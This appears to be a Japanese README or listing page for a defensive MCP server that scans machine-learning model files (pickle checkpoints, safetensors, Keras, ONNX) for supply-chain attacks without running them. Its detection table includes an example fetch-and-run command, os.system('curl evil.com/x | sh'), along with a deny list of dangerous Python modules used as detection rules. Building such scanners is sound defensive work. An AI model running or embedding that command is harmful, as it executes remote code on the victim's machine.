model-scanner について
model-scannerは、機械学習モデルファイルのサプライチェーンリスクを調べる開発者向けMCP サーバーです。pickle形式のチェックポイントや一部のsafetensors、Keras、ONNX構造を、ファイルを実行せずに検査します。
主な機能
- 01pickleオペコードの逆アセンブル
- 02危険なグローバル参照の検査
- 03PyTorch ZIPチェックポイントのスキャン
- 04safetensorsヘッダーの検証
- 05KerasとONNXのリスクパターン検査
- 06SARIF 2.1.0形式での出力
活用シーン
- 01ダウンロードしたモデルファイルの確認
- 02CI/CDでのモデルディレクトリのスキャン
- 03読み込み前のチェックポイント検査
MCP 対応
モデルファイルとリスクパターンを検査するscan_file、scan_directory、list_patternsツールをMCP クライアントに提供します。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
ツール
3掲載時のツール一覧 · 2 週間前に更新
| パラメーター | 型 | 必須 | 説明 |
|---|---|---|---|
| path | string | はい | モデルファイルの絶対パスまたは相対パス(.pt、.pth、.ckpt、.pkl、.pickle、.bin、.safetensors、.h5、.hdf5、.keras、.onnx) |
詳細
@guardbee/mcp-model-scanner
🇬🇧 English | 🇹🇷 Türkçe | 🇨🇳 中文 | 🇯🇵 日本語 | 🇰🇷 한국어 | 🇧🇷 Português | 🇪🇸 Español | 🇩🇪 Deutsch
ML モデルファイルをスキャンし、ファイル自体のサプライチェーンリスクを検出する MCP(Model Context Protocol)サーバーです。読み込みコードは対象ではありません。
多くの「AI セキュリティ」ツールは、統合コードや、そのコードを通過するプロンプトを調べます。このパッケージが調べるのは、Hugging Face、レジストリ、または S3 バケットからダウンロードした成果物です(あなた自身、チームメイト、あるいは pip install によってダウンロードしたものです)。.pt/.pth/.pkl チェックポイントはpickleファイルであり、pickle の復元は単なるデータのデシリアライズではありません。ファイルが読み込まれた瞬間に、任意の Python コードを呼び出す可能性があります(torch.load()、pickle.load() など)。悪意のあるチェックポイントは、仮説上のものではなく、実際に確認され、十分に文書化された攻撃ベクトルです。
テレメトリはデフォルトで無効です。
GUARDBEE_TELEMETRY=1を設定すると、サーバー、ツール、成功の有無、実行時間、ファイルパスなどの短いパラメーター値が送信されます。content、token、passwordなどの長い文字列やフィールドはプレースホルダーに置き換えられます。詳しくは@guardbee/mcp-telemetryをご覧ください。
Claude ──► model-scanner ──► Your model files
│
├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, disassemble
├─ .pkl / .pickle / .bin → raw pickle stream, disassemble directly
├─ .safetensors → header structure + disguised-binary check
├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE heuristic
└─ .onnx → external_data path-traversal heuristic
pickle がこの仕組みの核心である理由
pickle ストリームは、小さなスタック VM 用のバイトコードです。GLOBAL/STACK_GLOBAL オペコードは、インポート可能な任意の Python オブジェクトを指定し、その直後のオペコードで通常はそのオブジェクトが呼び出されます。テンソルの再構築関数の代わりに os.system や subprocess.Popen を指定するよう細工された pickle を阻止するものはなく、pickle.load()/torch.load() はそのオブジェクトを問題なく解決して呼び出します。これは、picklescan/fickling/Hugging Face の Picklescan 統合などのツールが基盤としている手法と同じです。
このパッケージは、Python を呼び出したり正規表現を使ったりせず、pickle オペコードのディスアセンブラーを一から実装しています(プロトコル 0~5 に対応し、プロトコル 4 以降で使われる新しい STACK_GLOBAL エンコーディングも含みます)。各 GLOBAL 参照の位置を正確に把握するには、オペコードストリームをバイト単位で正しく走査する必要があり、生のバイト列に対する正規表現では見落としや誤検出が頻繁に発生します。
見つかった GLOBAL/STACK_GLOBAL/INST 参照はすべて、次の基準でチェックされます。
- テンソルのデシリアライズ処理に正当な理由で現れることのないモジュールの拒否リスト(
os、subprocess、socket、builtins.eval、ctypesなど)→ critical/high として報告 - 実際の ML フレームワークが参照するモジュールの許可リスト(
numpy、torch、sklearn、collectionsなど)→ 安全と判断し、通知なし - それ以外 → medium として報告(「悪意のあるもの」ではなく「不明なもの」です。手動レビュー向けで、誤検出率を低く抑えます)
PyTorch のデフォルトの ZIP ベースのチェックポイント形式では、スキャナーは Zip64 に対応した ZIP セントラルディレクトリをディスクから直接読み取り、小さな data.pkl メタデータエントリのみを特定して抽出します。数 GB におよぶチェックポイント全体をメモリに読み込むことはありません。
特長
- 実際のpickleオペコードを逆アセンブル — 正規表現でも、Pythonのサブプロセス呼び出しでもありません
- 6つのリスクカテゴリ(コード実行、プロセス実行、ネットワーク、ファイルシステム、リフレクション、デシリアライズ)にわたる31の危険なグローバルルール
- PyTorchのzipコンテナーに対応(Zip64を含む) — チェックポイント全体を読み込まずに
data.pklを抽出してスキャンします .safetensorsの構造検証 — 不正なヘッダーや範囲外のヘッダーを検出し、.safetensors拡張子を装ったpickle/zipも検出します- Keras
.h5/.kerasのLambdaレイヤーRCEヒューリスティック - ONNX
external_dataのパストラバーサルヒューリスティック - すべての読み込みに上限を設定(pickleの先頭10MB、safetensorsヘッダーの上限100MB、zipエントリーの上限50MB) — 展開爆弾に対して安全で、巨大なモデルファイルによるOOMも発生しません
- SARIF 2.1.0出力 — CI/CD連携(GitHub Code Scanningなど)
guardbee.ymlによる設定ファイルに対応- 45件のユニットテストに加え、実際のCPythonの
pickleとzipfileで生成したフィクスチャによるエンドツーエンド検証(手作業で作成したものだけではありません)
クイックスタート
Claude Desktop / MCP クライアント
{
"mcpServers": {
"guardbee-model-scanner": {
"command": "npx",
"args": ["-y", "@guardbee/mcp-model-scanner"]
}
}
}
CLI(CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
MCP ツール
| ツール | 説明 |
|---|---|
scan_file | 単一のモデルファイルをスキャンします |
scan_directory | モデルファイルのディレクトリを再帰的にスキャンします |
list_patterns | リスクカテゴリ別に危険なグローバルのカタログを一覧表示します |
検出対象
| 形式 | チェック内容 | 深刻度 | 例 |
|---|---|---|---|
| pickle / PyTorch | os、posix、nt、subprocess、socket、ctypes、runpy、pty.spawn、platform.popen、commandsへの参照 | critical | os.system('curl evil.com/x | sh') |
| pickle / PyTorch | builtins.eval/exec/compile/__import__、pickle.loads、marshal.loads | critical | 再帰的/ネストされたペイロード、または直接的なeval |
| pickle / PyTorch | builtins.getattr/open、shutil.*、importlib.*、requests.*、webbrowser.open、urllib*.urlopen | high | 情報流出、SSRF、ファイルの読み取り/書き込み |
| safetensors | ヘッダーの先頭が長さではなくpickle/zipのシグネチャ | critical | .pklの拡張子を.safetensorsに変更 |
| safetensors | テンソルのdata_offsetsが実際のデータセクションの範囲を超過 | high | 範囲外を読み取るパーサー |
| safetensors | 無効またはサイズ超過のヘッダー長、JSON形式ではないヘッダー | high | 破損または悪意を持って細工されたヘッダー |
| Keras .h5/.keras | モデル設定内のclass_name: "Lambda" | critical | 読み込み時にマーシャリングされた関数によるRCE |
| ONNX | ..を含むexternal_dataのlocation | high | 任意のファイルへのパストラバーサル |
危険なグローバルの完全なカタログ:list_patternsツールを実行するか、src/dangerousGlobals.tsを参照してください。
これらの検出結果は、誤検知率を低く抑えるよう調整されたヒューリスティックです。特にHDF5とONNXは複雑なバイナリ/protobuf形式であり、完全な構造解析ではなく、上限付きのテキストパターン検索でスキャンします。各検出結果は必ず確認してください。問題のないスキャン結果は、正式な安全性の証明ではありません。
設定(guardbee.yml)
model-scanner:
fail-on: high # any | critical | high | medium | low | none
max-files: 2000
exclude:
- "fixtures/"
制限事項(設計上の仕様)
- 生の(zipではない)pickleストリームは、先頭の10MBのみをスキャンします。pickleストリームでは危険なグローバルはそのインスタンスより前に参照される必要があるため、この上限は、巨大なレガシーチェックポイント全体をメモリに読み込むこととの妥当なトレードオフです。
- ZIPの展開はSTOREDとDEFLATEのみをサポートします(PyTorchのデフォルトのチェックポイント形式に対応)。
- HDF5/ONNXのチェックは、完全な構造解析/protobuf解析ではなく、上限付きのプレフィックスに対するパターンベースのチェックです。
- スキャン対象はファイルであり、実行時の動作ではありません。コードの実行やサンドボックス化は行いません。
開発
npm run build
npm test # 45 unit tests
ライセンス
MIT — GuardBee
フィードバック
ご質問やアイデア、誤検知がありましたら、GitHub Discussionsでスレッドを開始するか、issue を作成してください。GuardBee が役に立った場合は、リポジトリに ⭐ を付けていただくと、ほかの方にも見つけてもらいやすくなります。
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。